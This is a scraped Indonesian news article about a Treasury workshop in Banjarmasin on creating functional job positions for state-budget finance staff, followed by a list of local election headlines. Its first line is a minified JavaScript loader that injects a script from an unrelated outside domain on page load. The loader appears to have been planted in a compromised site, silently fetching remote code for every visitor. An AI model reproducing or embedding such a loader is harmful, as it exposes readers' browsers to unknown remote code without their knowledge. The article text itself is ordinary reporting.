(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pra Uji Petik Jabatan Fungsional Pranata Keuangan APBN dan Asisten Pranata Keuangan


BANJARMASIN,  Profesionalitas pengelolaan pembendaharaan negara dalam prinsip good governance menghendaki adanya sumberdaya manusia yang memiliki kapabilitas memadai dalam bidang perbendaharaan negara. Prinsip tersebut diimplementasikan dengan adanya jenjang karir bagi begawai di lingkungan Ditjen Perbendaharaan.

Hal tersebut diasmpaikan disampaikan Kakanwil Ditjen Perbendaharaan Kalsel Usdek Rahyono dalam kegiatan Pra Uji Petik Jabatan Fungsional Pranata Keuangan APBN dan Asisten Pranata Keuangan APBN, Jumat (15/12) di aula Departemen Keuangan RI Kanwil Banjarmasin. Kegiatan yang dihadiri 41 stake holder bidang keuangan ini terkait dengan penyusunan naskah akademik jabatan fungsional pranata keuangan APBN dan asisten pranata keuangan APBN.

“Tujuannya adalah penyempurnaan butir-butir kegiatan, perolehan data perhitungan jam kerja per tahun, dan juga persiapan tahapan uji petik tahun 2018,” jelasnya.

Studi beban kerja dalam uji petik jabatan fungsionan yaitu mendapatkan volume dan dan waktu kerja. Yakni menentukan waktu kerja efektif (1,250 jam/tahun), dan menetapkan besaran angka kredit. Hal ini, tentunya memerlukan pengenalan atau konfirmasi kepada pegawai yang telah melakukan kegiatan atau yang akan dijadikan jabatan fungsional

“Kita sedang mengusulkan ke MENPAN, suatu jabatan fungsional di bidang pembendaharaan jadi di situ nanti ada pejabat penandatanganan SPN, kemudian pembuat laporan kita usulkan menjadi suatu jabatan fungsional karena selama ini belum punya jabatan hanya sekedar tugas harian. Nantinya kalau sudah menjadi jabatan fungsional akan mendapat tunjangan fungsional sebagai jenjang karir,” ujar Usdek.

Dalam kesempatan tersebut disampaikan, mestinya dalam satu tahun ASN harusnya memiliki jam kerja 1,762,5 jam. Namun faktanya,  ASN memiliki jam kerja efektif perhari hanya 5,25 dengan perhari, atau dengan pembulatan 5,30 jam saja.

“ Dalam UUD ASN, setiap Aparatur Sipil Negara di tuntut memiliki standar kompetensi, kapasitas pendidikan, dan terkait kode etik. Hal inii sejalan dengan semangat reformasi pengelolaan keuangan republik Indonesia bahwa setiap pengelola keuangan di tuntut untuk berkomitmen dan berkompeten menjadi pengelola keuangan yang profesional,” ujarnya. (devi)

 

Reporter : Devi
Editor : >b>Cella

Desy Arfianty

Recent Posts

5 Nama Pendaftar Bacalon Pilwali Banjarbaru ke PDIP

KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More

3 jam ago

Acil Odah Resmi Lamar Golkar Maju Pilgub Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More

3 jam ago

Golkar Banjarbaru Buka Penjaringan Bakal Calon Wali Kota

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More

4 jam ago

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

7 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

8 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

19 jam ago

This website uses cookies.